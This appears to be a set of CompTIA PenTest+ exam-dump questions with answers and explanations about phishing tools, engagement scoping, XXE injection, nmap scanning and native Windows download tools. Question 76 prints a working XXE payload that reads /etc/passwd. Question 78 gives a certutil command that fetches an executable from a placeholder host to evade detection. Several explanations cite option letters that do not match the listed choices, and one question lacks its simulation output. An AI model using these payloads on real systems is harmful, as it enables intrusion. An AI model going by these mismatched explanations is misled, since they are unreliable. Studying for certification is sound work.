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NEW QUESTION # 74 
A penetration tester launches an attack against company employees. The tester clones the company's intranet log-in page and sends
the link via email to all employees. Which of the following best describes the objective and tool selected by the tester to perform this
activity?

A. Obtaining the list of email addresses using theHarvester
B. Launching a phishing campaign using Gophish
C. Gaining remote access using BeEF
D. Harvesting credentials using SET

Answer: B

Explanation:
* Phishing Campaign with Gophish:
* Gophish is a tool designed for launching phishing campaigns. It allows attackers to clone web pages (e.g., log-in portals) and
distribute them to targets via email.
* The goal is to harvest employee credentials by tricking them into entering their log-in details on the fake page.
* Why Not Other Options?
* A (BeEF): BeEF (Browser Exploitation Framework) is used for browser-based exploitation, not phishing campaigns.
* B (theHarvester): This is used for gathering information (e.g., email addresses) about a target organization, not launching phishing
campaigns.
* C (SET): The Social-Engineer Toolkit (SET) is capable of cloning web pages and launching phishing attacks, but the question
specifies the tool used is Gophish.
CompTIA Pentest+ References:
* Domain 3.0 (Attacks and Exploits)

NEW QUESTION # 75 
When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to
develop fully prior to beginning the penetration testing activities?

A. Identify all third parties involved.
B. Obtain an asset inventory from the client.
C. Clarify the statement of work.
D. Interview all stakeholders.

Answer: C

Explanation:
Clarifying the statement of work is one of the most important items to develop fully prior to beginning the penetration testing
activities, as it defines the scope, objectives, deliverables, and expectations of the engagement. The statement of work is a formal
document that outlines the agreement between the penetration tester and the client and serves as a reference for both parties
throughout the engagement. It should include details such as the type, duration, and frequency of testing, the target systems and
networks, the authorized methods and tools, the reporting format and schedule, and any legal or ethical considerations.

NEW QUESTION # 76 
A penetration tester finds that an application responds with the contents of the /etc/passwd file when the following payload is sent:
xml
Copy code
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY foo SYSTEM "file:///etc/passwd" >
]>
<test>&foo;</test>
Which of the following should the tester recommend in the report to best prevent this type of vulnerability?

A. Drop all excessive file permissions with chmod o-rwx.
B. Disable the use of external entities.
C. Ensure the requests application access logs are reviewed frequently.
D. Implement a WAF to filter all incoming requests.



Answer: B

Explanation:
The vulnerability in question is XML External Entity (XXE) injection, which occurs when an application processes XML input
containing external entities that access files on the server or external resources.
Disabling External Entities:
The root cause of the issue is the application's ability to process external entities (<!ENTITY foo SYSTEM ...
>). Disabling external entities entirely prevents XXE attacks.
This can be achieved by properly configuring the XML parser (e.g., in Java, disable DocumentBuilderFactory.
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)).
Why Not Other Options?
A (chmod o-rwx): File permission hardening may reduce the impact of a successful attack but does not mitigate XXE at the parser
level.
B (Review logs): Reviewing logs is a reactive measure, not a prevention mechanism.
D (WAF): A WAF may block some malicious requests but is not a reliable mitigation for XXE vulnerabilities embedded in legitimate
XML input.
CompTIA Pentest+ References:
Domain 3.0 (Attacks and Exploits)
OWASP XXE Prevention Cheat Sheet

NEW QUESTION # 77 
You are a penetration tester running port scans on a server.
INSTRUCTIONS
Part 1: Given the output, construct the command that was used to generate this output from the available options.
Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be
investigated further.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.



Answer:

Explanation:
See explanation below.
Explanation:
Part 1 - 192.168.2.2 -O -sV --top-ports=100 and SMB vulns
Part 2 - Weak SMB file permissions
https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lvl1sec13/fingerprintin

NEW QUESTION # 78 
A penetration tester needs to use the native binaries on a system in order to download a file from the internet and evade detection.
Which of the following tools would the tester most likely use?

A. nc.exe
B. netsh.exe
C. certutil.exe
D. cmdkey.exe

Answer: C

Explanation:
* Certutil.exe for File Downloads:
* certutil.exe is a native Windows utility primarily used for managing certificates but can also be leveraged to download files from the
internet.
* Example command:
bash
Copy code
certutil.exe
-urlcache -split -f http://example.com/file.exe file.exe
* Its native status helps it evade detection by security tools.
* Why Not Other Options?
* A (netsh.exe): Used for network configuration but not for downloading files.
* C (nc.exe): Netcat is not native to Windows and would need to be introduced to the system.
* D (cmdkey.exe): Used for managing stored credentials, not downloading files.
CompTIA Pentest+ References:



* Domain 3.0 (Attacks and Exploits)
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